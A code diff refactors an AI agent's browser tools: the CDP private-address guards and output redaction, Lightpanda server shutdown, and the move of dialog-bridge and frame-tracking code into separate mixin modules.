+25,13 @@ def get_camofox_state_dir() -> Path: def get_camofox_identity(task_id: Optional[str] = None) -> Dict[str, str]: """Return the stable Hermes-managed Camofox identity for this profile. - The user identity is profile-scoped (same Hermes profile = same userId). - The session key is scoped to the logical browser task so newly created - tabs within the same profile reuse the same identity contract. + The user identity is profile-scoped (same Hermes profile = same userId); the + session key is scoped to the logical browser task so new tabs within the + same profile reuse the same identity contract. """ scope_root = str(get_camofox_state_dir()) - logical_scope = task_id or "default" - user_digest = uuid.uuid5( - uuid.NAMESPACE_URL, - f"camofox-user:{scope_root}", - ).hex[:10] + user_digest = uuid.uuid5(uuid.NAMESPACE_URL, f"camofox-user:{scope_root}").hex[:10] session_digest = uuid.uuid5( - uuid.NAMESPACE_URL, - f"camofox-session:{scope_root}:{logical_scope}", + uuid.NAMESPACE_URL, f"camofox-session:{scope_root}:{task_id or 'default'}" ).hex[:16] - return { - "user_id": f"hermes_{user_digest}", - "session_key": f"task_{session_digest}", - } + return {"user_id": f"hermes_{user_digest}", "session_key": f"task_{session_digest}"} diff --git a/tools/browser_cdp_tool.py b/tools/browser_cdp_tool.py index e5acb58283..59db34baa3 100644 --- a/tools/browser_cdp_tool.py +++ b/tools/browser_cdp_tool.py @@ -78,27 +78,23 @@ def _redact_cdp_output( return tuple(_redact_cdp_output(item) for item in value) if isinstance(value, dict): base64_flagged = value.get("base64Encoded") is True + + def leaf(paths: tuple, key: str) -> bool: + return any(len(p) == 1 and p[0] == key for p in paths) + + def descend(paths: tuple, key: str) -> tuple: + return tuple(p[1:] for p in paths if len(p) > 1 and p[0] == key) + redacted: Dict[str, Any] = {} for key, item in value.items(): - terminal_always = any( - len(p) == 1 and p[0] == key for p in always_paths - ) - terminal_flagged = any( - len(p) == 1 and p[0] == key for p in flagged_paths - ) - if isinstance(item, str) and ( - terminal_always or (terminal_flagged and base64_flagged) - ): + opaque = leaf(always_paths, key) or (leaf(flagged_paths, key) and base64_flagged) + if isinstance(item, str) and opaque: redacted[key] = item else: redacted[key] = _redact_cdp_output( item, - always_paths=tuple( - p[1:] for p in always_paths if len(p) > 1 and p[0] == key - ), - flagged_paths=tuple( - p[1:] for p in flagged_paths if len(p) > 1 and p[0] == key - ), + always_paths=descend(always_paths, key), + flagged_paths=descend(flagged_paths, key), ) return redacted return value @@ -142,14 +138,29 @@ def _resolve_cdp_endpoint() -> str: return "" -def _private_page_guard_error(blocked_url: str, method: str) -> str: - return tool_error( - "Blocked: page URL targets a private or internal address " - f"({blocked_url}). Raw CDP method {method!r} could expose private " - "page content or state.", - method=method, - cdp_docs=CDP_DOCS_URL, - ) +def _blocked(message: str, method: str) -> str: + return tool_error(message, method=method, cdp_docs=CDP_DOCS_URL) + + +def _navigate_private_target(bt: Any, params: Dict[str, Any]) -> Optional[str]: + """Blocked URL literal for ``Page.navigate`` params, else ``None``.""" + target_url = str(params.get("url") or "").strip() + if target_url and (bt._is_always_blocked_url(target_url) or not bt._is_safe_url(target_url)): + return target_url + return None + + +# method → (probe(bt, params) -> blocked literal | None, error template) +_METHOD_PARAM_GUARDS = { + "Page.navigate": ( + _navigate_private_target, + "Blocked: CDP Page.navigate target is a private or internal address ({}).", + ), + "Runtime.evaluate": ( + lambda bt, params: bt._expression_targets_private_url(str(params.get("expression") or "")), + "Blocked: CDP Runtime.evaluate expression targets a private or internal address ({}).", + ), +} def _browser_cdp_private_guard( @@ -169,34 +180,22 @@ def _browser_cdp_private_guard( if not bt._eval_ssrf_guard_active(task_id): # type: ignore[attr-defined] return None - if method == "Page.navigate": - target_url = str((params or {}).get("url") or "").strip() - if target_url and ( - bt._is_always_blocked_url(target_url) # type: ignore[attr-defined] - or not bt._is_safe_url(target_url) # type: ignore[attr-defined] - ): - return tool_error( - "Blocked: CDP Page.navigate target is a private or " - f"internal address ({target_url}).", - method=method, - cdp_docs=CDP_DOCS_URL, - ) - - if method == "Runtime.evaluate": - expression = str((params or {}).get("expression") or "") - blocked_literal = bt._expression_targets_private_url(expression) # type: ignore[attr-defined] - if blocked_literal: - return tool_error( - "Blocked: CDP Runtime.evaluate expression targets a " - f"private or internal address ({blocked_literal}).", - method=method, - cdp_docs=CDP_DOCS_URL, - ) + guard = _METHOD_PARAM_GUARDS.get(method) + if guard is not None: + probe, template = guard + literal = probe(bt, params or {}) + if literal: + return _blocked(template.format(literal), method) if method not in _CDP_PRIVATE_PAGE_ALLOWED_METHODS: blocked_url = bt._current_page_private_url(task_id) # type: ignore[attr-defined] if blocked_url: - return _private_page_guard_error(blocked_url, method) + return _blocked( + "Blocked: page URL targets a private or internal address " + f"({blocked_url}). Raw CDP method {method!r} could expose private " + "page content or state.", + method, + ) except Exception as exc: # noqa: BLE001 # Guard probes are best-effort; never break local/custom CDP workflows. logger.debug("browser_cdp: private-page guard probe failed: %s", exc) @@ -293,15 +292,12 @@ def _browser_cdp_via_supervisor( ) snap = supervisor.snapshot() - top = snap.frame_tree.get("top") - frame_info: Optional[Dict[str, Any]] = None - if top and top.get("frame_id") == frame_id: - frame_info = top - else: - for child in snap.frame_tree.get("children", []) or []: - if child.get("frame_id") == frame_id: - frame_info = child - break + tree = snap.frame_tree + frame_info: Optional[Dict[str, Any]] = next( + (f for f in [tree.get("top"), *(tree.get("children") or [])] + if f and f.get("frame_id") == frame_id), + None, + ) if frame_info is None: # frame_tree is capped at 30 entries — check the raw frames dict too. with supervisor._state_lock: # type: ignore[attr-defined] @@ -334,17 +330,12 @@ def _browser_cdp_via_supervisor( "/browser connect." ) - async def _do_cdp(): - return await supervisor._cdp( # type: ignore[attr-defined] - method, - params or {}, - session_id=child_sid, - timeout=timeout, - ) - try: from agent.async_utils import safe_schedule_threadsafe - fut = safe_schedule_threadsafe(_do_cdp(), loop) + fut = safe_schedule_threadsafe( + supervisor._cdp(method, params or {}, session_id=child_sid, timeout=timeout), # type: ignore[attr-defined] + loop, + ) if fut is None: return tool_error( "CDP call via supervisor failed: loop unavailable", diff --git a/tools/browser_dialog_tool.py b/tools/browser_dialog_tool.py index ac519489da..c77d48201e 100644 --- a/tools/browser_dialog_tool.py +++ b/tools/browser_dialog_tool.py @@ -110,11 +110,8 @@ def browser_dialog( def _browser_dialog_check() -> bool: """Gate: same as ``browser_cdp`` so the two tools appear/disappear together.""" - try: - from tools.browser_cdp_tool import _browser_cdp_check # type: ignore[import-not-found] - except Exception as exc: # pragma: no cover — defensive - logger.debug("browser_dialog check: browser_cdp_tool import failed: %s", exc) - return False + from tools.browser_cdp_tool import _browser_cdp_check + return _browser_cdp_check() diff --git a/tools/browser_extension_router.py b/tools/browser_extension_router.py index b5c1c27a85..c84e865513 100644 --- a/tools/browser_extension_router.py +++ b/tools/browser_extension_router.py @@ -183,11 +183,8 @@ def routed_browser_handler( try: env_session, env_principal, env_transport = _bound_identity() - session_id = session_id or env_session - principal_id = principal_id or env_principal - transport_family = transport_family or env_transport except Exception: - pass + env_session = env_principal = env_transport = None return route_browser_tool( action, @@ -195,9 +192,9 @@ def routed_browser_handler( fallback=fallback, broker=get_browser_control_broker(), enabled=True, - session_id=session_id, + session_id=session_id or env_session, task_id=task_id, - principal_id=principal_id, - transport_family=transport_family, + principal_id=principal_id or env_principal, + transport_family=transport_family or env_transport, tool_call_id=tool_call_id, ) diff --git a/tools/browser_lightpanda.py b/tools/browser_lightpanda.py index 3bb8faf79c..9dc7d4649b 100644 --- a/tools/browser_lightpanda.py +++ b/tools/browser_lightpanda.py @@ -174,6 +174,19 @@ def _tree_kill(pid: int, expected_start) -> None: ProcessRegistry._terminate_host_pid(pid, expected_start=expected_start) +def _kill_server(server: LightpandaServer) -> None: + """Tree-kill a live server, falling back to plain terminate on any failure.""" + try: + _tree_kill(server.proc.pid, server.start_time) + except Exception as e: + logger.debug("lightpanda tree-kill failed for %s: %s", server.session_name, e) + _terminate(server.proc) + try: + server.proc.wait(timeout=5) + except Exception: + _terminate(server.proc) + + def _write_record(server: LightpandaServer) -> None: record = { "pid": server.proc.pid, @@ -287,21 +300,11 @@ def stop_lightpanda(session_name: str) -> None: """Stop the server for ``session_name`` (tree-kill) and drop its record.""" with _servers_lock: server = _servers.pop(session_name, None) - if server is None: - _unlink_record(session_name) - return - if server.is_alive(): - try: - _tree_kill(server.proc.pid, server.start_time) - except Exception as e: - logger.debug("lightpanda tree-kill failed for %s: %s", session_name, e) - _terminate(server.proc) - try: - server.proc.wait(timeout=5) - except Exception: - _terminate(server.proc) + if server is not None and server.is_alive(): + _kill_server(server) _unlink_record(session_name) - logger.debug("Stopped lightpanda serve for session %s", session_name) + if server is not None: + logger.debug("Stopped lightpanda serve for session %s", session_name) def stop_all_lightpanda() -> None: diff --git a/tools/browser_supervisor.py b/tools/browser_supervisor.py index 86e6aaf41d..5db78eda38 100644 --- a/tools/browser_supervisor.py +++ b/tools/browser_supervisor.py @@ -10,6 +10,10 @@ Not in the agent's tool schema. Output reaches the agent via ``browser_snapshot`` (merges supervisor state, see ``tools/browser_tool.py``) and ``browser_dialog`` (calls ``respond_to_dialog()``). Design spec: ``website/docs/developer-guide/browser-supervisor.md``. + +Dialog capture lives in ``tools.browser_supervisor_dialogs``, frame tracking in +``tools.browser_supervisor_frames``; both are mixed into ``CDPSupervisor`` and +their public names are re-exported here. """ from __future__ import annotations @@ -19,8 +23,32 @@ import json import logging import threading import time -from dataclasses import dataclass, replace -from typing import Any, Callable, Coroutine, Dict, List, Optional, Tuple, TYPE_CHECKING +from dataclasses import dataclass +from typing import Any, Callable, Dict, List, Optional, Tuple, TYPE_CHECKING + +from tools.browser_supervisor_dialogs import ( # noqa: F401 — re-exported + DEFAULT_DIALOG_POLICY, + DEFAULT_DIALOG_TIMEOUT_S, + DIALOG_BRIDGE_HOST, + DIALOG_BRIDGE_URL_PATTERN, + DIALOG_POLICY_AUTO_ACCEPT, + DIALOG_POLICY_AUTO_DISMISS, + DIALOG_POLICY_MUST_RESPOND, + RECENT_DIALOGS_MAX, + _DIALOG_BRIDGE_SCRIPT, + _VALID_POLICIES, + DialogRecord, + DialogSupervisionMixin, + PendingDialog, + _redact_supervisor_text, + _trim_ring, +) +from tools.browser_supervisor_frames import ( # noqa: F401 — re-exported + FRAME_TREE_MAX_ENTRIES, + FRAME_TREE_MAX_OOPIF_DEPTH, + FrameInfo, + FrameTrackingMixin, +) # ``websockets`` costs ~22 ms at import and is only needed once a supervisor # connects; with postponed annotations the type import stays under TYPE_CHECKING. @@ -29,6 +57,9 @@ if TYPE_CHECKING: logger = logging.getLogger(__name__) +# Ring buffer of recent console-level events. +CONSOLE_HISTORY_MAX = 50 + def _redact_cdp_error_text(exc: object) -> str: """Redact CDP endpoint credentials from an exception's string form. @@ -46,187 +77,23 @@ def _redact_cdp_error_text(exc: object) -> str: return "" -def _redact_supervisor_text(value: str) -> str: - """Redact page-originated text before exposing supervisor snapshots.""" - from agent.redact import redact_sensitive_text - - return redact_sensitive_text(value, force=True) +class _LoopUnavailable(RuntimeError): + """The supervisor loop refused new work (closed / shutting down).""" -# ── Config defaults ─────────────────────────────────────────────────────────── +def _schedule(coro, loop, *, timeout: float): + """Run ``coro`` on the supervisor loop from a sync caller and wait for its result.""" + from agent.async_utils import safe_schedule_threadsafe -DIALOG_POLICY_MUST_RESPOND = "must_respond" -DIALOG_POLICY_AUTO_DISMISS = "auto_dismiss" -DIALOG_POLICY_AUTO_ACCEPT = "auto_accept" - -_VALID_POLICIES = frozenset( - {DIALOG_POLICY_MUST_RESPOND, DIALOG_POLICY_AUTO_DISMISS, DIALOG_POLICY_AUTO_ACCEPT} -) - -DEFAULT_DIALOG_POLICY = DIALOG_POLICY_MUST_RESPOND -DEFAULT_DIALOG_TIMEOUT_S = 300.0 - -# Snapshot caps for frame_tree — keep payloads bounded on ad-heavy pages. -FRAME_TREE_MAX_ENTRIES = 30 -FRAME_TREE_MAX_OOPIF_DEPTH = 2 - -# Ring buffer of recent console-level events. -CONSOLE_HISTORY_MAX = 50 - -# Last N closed dialogs kept in ``recent_dialogs`` so agents on backends that -# auto-dismiss server-side (Browserbase) can still observe that a dialog fired. -RECENT_DIALOGS_MAX = 20 - -# Magic host the injected dialog bridge XHRs to. Intercepted via the CDP Fetch -# domain before any network resolution, so it never has to exist. Keep ASCII + -# URL-safe; Fetch patterns are gated on it. -DIALOG_BRIDGE_HOST = "hermes-dialog-bridge.invalid" -DIALOG_BRIDGE_URL_PATTERN = f"http://{DIALOG_BRIDGE_HOST}/*" - -# Injected into every frame via Page.addScriptToEvaluateOnNewDocument. Overrides -# alert/confirm/prompt to round-trip through a sync XHR we intercept via -# Fetch.requestPaused. Works on Browserbase (whose CDP proxy auto-dismisses REAL -# native dialogs) because the native dialogs never fire. -_DIALOG_BRIDGE_SCRIPT = r""" -(() => { - if (window.__hermesDialogBridgeInstalled) return; - window.__hermesDialogBridgeInstalled = true; - const ENDPOINT = "http://hermes-dialog-bridge.invalid/"; - function ask(kind, message, defaultPrompt) { - try { - const xhr = new XMLHttpRequest(); - // Use GET with query params so we don't need to worry about request - // body encoding in the Fetch interceptor. - const params = new URLSearchParams({ - kind: String(kind || ""), - message: String(message == null ? "" : message), - default_prompt: String(defaultPrompt == null ? "" : defaultPrompt), - }); - xhr.open("GET", ENDPOINT + "?" + params.toString(), false); // sync - xhr.send(null); - if (xhr.status !== 200) return null; - const body = xhr.responseText || ""; - let parsed; - try { parsed = JSON.parse(body); } catch (e) { return null; } - if (kind === "alert") return undefined; - if (kind === "confirm") return Boolean(parsed && parsed.accept); - if (kind === "prompt") { - if (!parsed || !parsed.accept) return null; - return parsed.prompt_text == null ? "" : String(parsed.prompt_text); - } - return null; - } catch (e) { - // If the bridge is unreachable, fall back to the native call so the - // page still sees *some* behavior (the backend will auto-dismiss). - return null; - } - } - const realAlert = window.alert; - const realConfirm = window.confirm; - const realPrompt = window.prompt; - window.alert = function(message) { ask("alert", message, ""); }; - window.confirm = function(message) { - const r = ask("confirm", message, ""); - return r === null ? false : Boolean(r); - }; - window.prompt = function(message, def) { - const r = ask("prompt", message, def == null ? "" : def); - return r === null ? null : String(r); - }; - // onbeforeunload — we can't really synchronously prompt the user from this - // event without racing navigation. Leave native behavior for now; the - // supervisor's native-dialog fallback path still surfaces them in - // recent_dialogs. -})(); -""" + fut = safe_schedule_threadsafe(coro, loop) + if fut is None: + raise _LoopUnavailable("Browser supervisor loop unavailable") + return fut.result(timeout=timeout) # ── Data model ──────────────────────────────────────────────────────────────── -@dataclass -class PendingDialog: - """A JS dialog currently open on some frame's session.""" - - id: str - type: str # "alert" | "confirm" | "prompt" | "beforeunload" - message: str - default_prompt: str - opened_at: float - cdp_session_id: str # which attached CDP session the dialog fired in - frame_id: Optional[str] = None - # Set when captured via the bridge XHR path: respond via Fetch.fulfillRequest, - # NOT Page.handleJavaScriptDialog — the native dialog never fired. - bridge_request_id: Optional[str] = None - - def to_dict(self) -> Dict[str, Any]: - return { - "id": self.id, - "type": self.type, - "message": _redact_supervisor_text(self.message), - "default_prompt": _redact_supervisor_text(self.default_prompt), - "opened_at": self.opened_at, - "frame_id": self.frame_id, - } - - -@dataclass -class DialogRecord: - """A dialog that was opened and then handled (kept briefly in ``recent_dialogs``).""" - - id: str - type: str - message: str - opened_at: float - closed_at: float - closed_by: str # "agent" | "auto_policy" | "remote" | "watchdog" - frame_id: Optional[str] = None - - def to_dict(self) -> Dict[str, Any]: - return { - "id": self.id, - "type": self.type, - "message": _redact_supervisor_text(self.message), - "opened_at": self.opened_at, - "closed_at": self.closed_at, - "closed_by": self.closed_by, - "frame_id": self.frame_id, - } - - -@dataclass -class FrameInfo: - """One frame in the page's frame tree. - - ``is_oopif`` frames have their own CDP target (reachable via - ``cdp_session_id``); same-origin / srcdoc iframes share the parent process - and have ``is_oopif=False`` + ``cdp_session_id=None``. - """ - - frame_id: str - url: str - origin: str - parent_frame_id: Optional[str] - is_oopif: bool - cdp_session_id: Optional[str] = None - name: str = "" - - def to_dict(self) -> Dict[str, Any]: - d = { - "frame_id": self.frame_id, - "url": self.url, - "origin": self.origin, - "is_oopif": self.is_oopif, - } - if self.cdp_session_id: - d["session_id"] = self.cdp_session_id - if self.parent_frame_id: - d["parent_frame_id"] = self.parent_frame_id - if self.name: - d["name"] = self.name - return d - - @dataclass class ConsoleEvent: """Ring buffer entry for console + exception traffic.""" @@ -263,7 +130,7 @@ class SupervisorSnapshot: # ── Supervisor core ─────────────────────────────────────────────────────────── -class CDPSupervisor: +class CDPSupervisor(DialogSupervisionMixin, FrameTrackingMixin): """One supervisor per (task_id, cdp_url) pair. ``start()`` spawns a daemon thread running its own asyncio loop, connects, @@ -311,7 +178,6 @@ class CDPSupervisor: self._pending_calls: Dict[int, asyncio.Future] = {} self._ws: Optional[ClientConnection] = None self._page_session_id: Optional[str] = None - self._child_sessions: Dict[str, Dict[str, Any]] = {} # session_id -> info # Dialog auto-dismiss watchdog handles (per dialog id) + id generator. self._dialog_watchdogs: Dict[str, asyncio.TimerHandle] = {} @@ -366,15 +232,9 @@ class CDPSupervisor: # self._ws`` returns cleanly, ``_run`` hits its ``finally``, pending # tasks cancel in order, THEN the thread exits. try: - from agent.async_utils import safe_schedule_threadsafe - fut = safe_schedule_threadsafe(self._close_ws(), loop) - if fut is not None: - try: - fut.result(timeout=2.0) - except Exception: - pass - except RuntimeError: - pass # loop already shutting down + _schedule(self._close_ws(), loop, timeout=2.0) + except Exception: + pass # loop already shutting down / close timed out if self._thread is not None: self._thread.join(timeout=timeout) with self._state_lock: @@ -383,20 +243,15 @@ class CDPSupervisor: def snapshot(self) -> SupervisorSnapshot: """Return an immutable snapshot of current state.""" with self._state_lock: - dialogs = tuple(self._pending_dialogs.values()) - recent = tuple(self._recent_dialogs[-RECENT_DIALOGS_MAX:]) - frames_tree = self._build_frame_tree_locked() - console = tuple(self._console_events[-CONSOLE_HISTORY_MAX:]) - active = self._active - return SupervisorSnapshot( - pending_dialogs=dialogs, - recent_dialogs=recent, - frame_tree=frames_tree, - console_errors=console, - active=active, - cdp_url=self.cdp_url, - task_id=self.task_id, - ) + return SupervisorSnapshot( + pending_dialogs=tuple(self._pending_dialogs.values()), + recent_dialogs=tuple(self._recent_dialogs[-RECENT_DIALOGS_MAX:]), + frame_tree=self._build_frame_tree_locked(), + console_errors=tuple(self._console_events[-CONSOLE_HISTORY_MAX:]), + active=self._active, + cdp_url=self.cdp_url, + task_id=self.task_id, + ) def respond_to_dialog( self, @@ -438,26 +293,24 @@ class CDPSupervisor: } else: dialog = pending[0] - snapshot_copy = dialog loop = self._loop if loop is None: return {"ok": False, "error": "supervisor loop is not running"} - async def _do_respond(): - return await self._handle_dialog_cdp( - snapshot_copy, accept=(action == "accept"), prompt_text=prompt_text or "" - ) - try: - from agent.async_utils import safe_schedule_threadsafe - fut = safe_schedule_threadsafe(_do_respond(), loop) - if fut is None: - return {"ok": False, "error": "Browser supervisor loop unavailable"} - fut.result(timeout=timeout) + _schedule( + self._handle_dialog_cdp( + dialog, accept=(action == "accept"), prompt_text=prompt_text or "" + ), + loop, + timeout=timeout, + ) + except _LoopUnavailable as e: + return {"ok": False, "error": str(e)} except Exception as e: return {"ok": False, "error": f"{type(e).__name__}: {e}"} - return {"ok": True, "dialog": snapshot_copy.to_dict()} + return {"ok": True, "dialog": dialog.to_dict()} def evaluate_runtime( self, @@ -487,8 +340,8 @@ class CDPSupervisor: if not session_id: return {"ok": False, "error": "supervisor has no attached page session"} - async def _do_eval(by_value: bool) -> Dict[str, Any]: - return await self._cdp( + def _run_eval(by_value: bool) -> Dict[str, Any]: + coro = self._cdp( "Runtime.evaluate", { "expression": expression, @@ -500,14 +353,7 @@ class CDPSupervisor: session_id=session_id, timeout=timeout, ) - - from agent.async_utils import safe_schedule_threadsafe - - def _run_eval(by_value: bool) -> Dict[str, Any]: - fut = safe_schedule_threadsafe(_do_eval(by_value), loop) - if fut is None: - raise RuntimeError("Browser supervisor loop unavailable") - return fut.result(timeout=timeout + 1) + return _schedule(coro, loop, timeout=timeout + 1) try: response = _run_eval(return_by_value) @@ -529,8 +375,7 @@ class CDPSupervisor: exception_details = result_payload.get("exceptionDetails") if exception_details: exc_text = exception_details.get("text") or "JavaScript exception" - exc_obj = exception_details.get("exception") or {} - description = exc_obj.get("description") + description = (exception_details.get("exception") or {}).get("description") if description: exc_text = f"{exc_text}: {description}" return {"ok": False, "error": exc_text} @@ -626,12 +471,11 @@ class CDPSupervisor: reader_task = asyncio.create_task(self._read_loop(), name="cdp-reader") try: - # Reset per-connection session ids. ``_pending_dialogs`` and - # ``_frames`` are deliberately kept — they reconcile as fresh + # Reset the per-connection page session id. ``_pending_dialogs`` + # and ``_frames`` are deliberately kept — they reconcile as fresh # events arrive; worst case a stale dialog entry is rejected # with "no dialog is showing" (logged, not surfaced). self._page_session_id = None - self._child_sessions.clear() await self._attach_initial_page() with self._state_lock: self._active = True @@ -691,68 +535,9 @@ class CDPSupervisor: {"targetId": target_id, "flatten": True}, ) self._page_session_id = attach["result"]["sessionId"] - await self._cdp("Page.enable", session_id=self._page_session_id) - await self._cdp("Runtime.enable", session_id=self._page_session_id) - await self._cdp( - "Target.setAutoAttach", - {"autoAttach": True, "waitForDebuggerOnStart": False, "flatten": True}, - session_id=self._page_session_id, - ) + await self._enable_page_domains(self._page_session_id, timeout=10.0) await self._install_dialog_bridge(self._page_session_id) - async def _install_dialog_bridge(self, session_id: str) -> None: - """Install the dialog-bridge init script + Fetch interceptor on a session. - - The JS override runs in every frame before page scripts; Fetch.enable - scoped to the bridge URL catches the XHRs, which surface as pending - dialogs and are fulfilled when the agent responds. Idempotent at the CDP - level (Chromium de-dupes identical add-script calls; Fetch.enable - replaces prior patterns). - """ - try: - await self._cdp( - "Page.addScriptToEvaluateOnNewDocument", - {"source": _DIALOG_BRIDGE_SCRIPT, "runImmediately": True}, - session_id=session_id, - timeout=5.0, - ) - except Exception as e: - logger.debug( - "dialog bridge: addScriptToEvaluateOnNewDocument failed on sid=%s: %s", - (session_id or "")[:16], e, - ) - try: - await self._cdp( - "Fetch.enable", - { - "patterns": [ - { - "urlPattern": DIALOG_BRIDGE_URL_PATTERN, - "requestStage": "Request", - } - ], - "handleAuthRequests": False, - }, - session_id=session_id, - timeout=5.0, - ) - except Exception as e: - logger.debug( - "dialog bridge: Fetch.enable failed on sid=%s: %s", - (session_id or "")[:16], e, - ) - # Best-effort inject into the already-loaded document so existing pages - # pick up the override on reconnect. - try: - await self._cdp( - "Runtime.evaluate", - {"expression": _DIALOG_BRIDGE_SCRIPT, "returnByValue": True}, - session_id=session_id, - timeout=3.0, - ) - except Exception: - pass - async def _cdp( self, method: str, @@ -817,369 +602,6 @@ class CDPSupervisor: if result is not None: await result - async def _on_dialog_opening( - self, params: Dict[str, Any], session_id: Optional[str] - ) -> None: - dialog = self._new_dialog( - type=str(params.get("type") or ""), - message=str(params.get("message") or ""), - default_prompt=str(params.get("defaultPrompt") or ""), - session_id=session_id, - frame_id=params.get("frameId"), - ) - self._admit_dialog(dialog, self._auto_handle_dialog) - - def _new_dialog( - self, - *, - type: str, - message: str, - default_prompt: str, - session_id: Optional[str], - frame_id: Optional[str], - bridge_request_id: Optional[str] = None, - ) -> PendingDialog: - self._dialog_seq += 1 - return PendingDialog( - id=f"d-{self._dialog_seq}", - type=type, - message=message, - default_prompt=default_prompt, - opened_at=time.time(), - cdp_session_id=session_id or self._page_session_id or "", - frame_id=frame_id, - bridge_request_id=bridge_request_id, - ) - - def _admit_dialog( - self, - dialog: PendingDialog, - responder: Callable[..., Coroutine[Any, Any, None]], - ) -> None: - """Apply the dialog policy: auto-respond via ``responder`` or queue + arm watchdog. - - Auto policies archive FIRST (tagged ``auto_policy``) so the ``closed`` - event that follows our own response isn't re-archived as ``remote``. - """ - if self.dialog_policy == DIALOG_POLICY_AUTO_DISMISS: - with self._state_lock: - self._archive_dialog_locked(dialog, "auto_policy") - asyncio.create_task(responder(dialog, accept=False, prompt_text="")) - elif self.dialog_policy == DIALOG_POLICY_AUTO_ACCEPT: - with self._state_lock: - self._archive_dialog_locked(dialog, "auto_policy") - asyncio.create_task( - responder(dialog, accept=True, prompt_text=dialog.default_prompt) - ) - else: - # must_respond → add to pending and arm watchdog. - with self._state_lock: - self._pending_dialogs[dialog.id] = dialog - loop = asyncio.get_running_loop() - handle = loop.call_later( - self.dialog_timeout_s, - lambda: asyncio.create_task(self._dialog_timeout_expired(dialog.id)), - ) - self._dialog_watchdogs[dialog.id] = handle - - async def _native_handle_dialog( - self, dialog: PendingDialog, *, accept: bool, prompt_text: Optional[str] - ) -> None: - """Page.handleJavaScriptDialog; ``promptText`` sent only for prompt dialogs - when ``prompt_text`` is given. Raises on CDP failure.""" - params: Dict[str, Any] = {"accept": accept} - if prompt_text is not None and dialog.type == "prompt": - params["promptText"] = prompt_text - await self._cdp( - "Page.handleJavaScriptDialog", - params, - session_id=dialog.cdp_session_id or None, - timeout=5.0, - ) - - async def _auto_handle_dialog( - self, dialog: PendingDialog, *, accept: bool, prompt_text: str - ) -> None: - """Auto-policy response for a native dialog (already archived by the caller).""" - try: - await self._native_handle_dialog(dialog, accept=accept, prompt_text=prompt_text) - except Exception as e: - logger.debug("auto-handle CDP call failed for %s: %s", dialog.id, e) - - def _retire_dialog(self, dialog_id: str, closed_by: str) -> None: - """Remove a pending dialog (archiving it with ``closed_by``) and cancel its watchdog.""" - with self._state_lock: - dialog = self._pending_dialogs.pop(dialog_id, None) - if dialog is not None: - self._archive_dialog_locked(dialog, closed_by) - handle = self._dialog_watchdogs.pop(dialog_id, None) - if handle is not None: - handle.cancel() - - async def _dialog_timeout_expired(self, dialog_id: str) -> None: - with self._state_lock: - dialog = self._pending_dialogs.get(dialog_id) - if dialog is None: - return - logger.warning( - "CDP supervisor %s: dialog %s (%s) auto-dismissed after %ss timeout", - self.task_id, - dialog_id, - dialog.type, - self.dialog_timeout_s, - ) - try: - # Archive with watchdog tag BEFORE unblocking the page. - with self._state_lock: - if self._pending_dialogs.pop(dialog_id, None) is not None: - self._archive_dialog_locked(dialog, "watchdog") - if dialog.bridge_request_id: - await self._fulfill_bridge_request(dialog, accept=False, prompt_text="") - else: - await self._native_handle_dialog(dialog, accept=False, prompt_text=None) - except Exception as e: - logger.debug("auto-dismiss failed for %s: %s", dialog_id, e) - - def _archive_dialog_locked(self, dialog: PendingDialog, closed_by: str) -> None: - """Move a pending dialog to the recent_dialogs ring buffer. Must hold state_lock.""" - record = DialogRecord( - id=dialog.id, - type=dialog.type, - message=dialog.message, - opened_at=dialog.opened_at, - closed_at=time.time(), - closed_by=closed_by, - frame_id=dialog.frame_id, - ) - self._recent_dialogs.append(record) - if len(self._recent_dialogs) > RECENT_DIALOGS_MAX * 2: - self._recent_dialogs = self._recent_dialogs[-RECENT_DIALOGS_MAX:] - - async def _handle_dialog_cdp( - self, dialog: PendingDialog, *, accept: bool, prompt_text: str - ) -> None: - """Agent response path: bridge-fulfill for XHR-captured dialogs, else native CDP. - - The dialog is retired regardless of outcome — a CDP error usually means - it already closed (browser auto-dismissed after navigation, etc.). - """ - try: - if dialog.bridge_request_id: - await self._fulfill_bridge_request( - dialog, accept=accept, prompt_text=prompt_text - ) - else: - await self._native_handle_dialog(dialog, accept=accept, prompt_text=prompt_text) - finally: - self._retire_dialog(dialog.id, "agent") - - async def _on_dialog_closed( - self, params: Dict[str, Any], session_id: Optional[str] - ) -> None: - # ``Page.javascriptDialogClosed`` carries only ``result``/``userInput``, not - # the message. Match by session id and clear the oldest native dialog on - # it — the JS thread blocks while a dialog is up, so at most one is in - # flight per session. Bridge dialogs resolve via Fetch.fulfillRequest. - with self._state_lock: - candidate_ids = [ - d.id - for d in self._pending_dialogs.values() - if d.cdp_session_id == session_id and d.bridge_request_id is None - ] - if candidate_ids: - self._retire_dialog(candidate_ids[0], "remote") - - async def _on_fetch_paused( - self, params: Dict[str, Any], session_id: Optional[str] - ) -> None: - """Bridge XHR captured mid-flight — materialize as a pending dialog. - - The page's JS thread is blocked on the XHR until we Fetch.fulfillRequest - (from ``respond_to_dialog`` or the watchdog). - """ - url = str(params.get("request", {}).get("url") or "") - request_id = params.get("requestId") - if not request_id: - return - if DIALOG_BRIDGE_HOST not in url: - # Not ours — forward unchanged so the page sees its own request. - try: - await self._cdp( - "Fetch.continueRequest", {"requestId": request_id}, - session_id=session_id, timeout=3.0, - ) - except Exception: - pass - return - - from urllib.parse import urlparse, parse_qs - q = parse_qs(urlparse(url).query) - - def _q(name: str) -> str: - v = q.get(name, [""]) - return v[0] if v else "" - - dialog = self._new_dialog( - type=_q("kind") or "alert", - message=_q("message"), - default_prompt=_q("default_prompt"), - session_id=session_id, - frame_id=params.get("frameId"), - bridge_request_id=str(request_id), - ) - self._admit_dialog(dialog, self._fulfill_bridge_request) - - async def _fulfill_bridge_request( - self, dialog: PendingDialog, *, accept: bool, prompt_text: str - ) -> None: - """Resolve a bridge XHR via Fetch.fulfillRequest so the page unblocks.""" - if not dialog.bridge_request_id: - return - payload = { - "accept": bool(accept), - "prompt_text": prompt_text if dialog.type == "prompt" else "", - "dialog_id": dialog.id, - } - body = json.dumps(payload).encode() - try: - import base64 as _b64 - await self._cdp( - "Fetch.fulfillRequest", - { - "requestId": dialog.bridge_request_id, - "responseCode": 200, - "responseHeaders": [ - {"name": "Content-Type", "value": "application/json"}, - {"name": "Access-Control-Allow-Origin", "value": "*"}, - ], - "body": _b64.b64encode(body).decode(), - }, - session_id=dialog.cdp_session_id or None, - timeout=5.0, - ) - except Exception as e: - logger.debug("bridge fulfill failed for %s: %s", dialog.id, e) - - # ── Frame / target tracking ───────────────────────────────────────────── - - def _on_frame_attached( - self, params: Dict[str, Any], session_id: Optional[str] - ) -> None: - frame_id = params.get("frameId") - if not frame_id: - return - with self._state_lock: 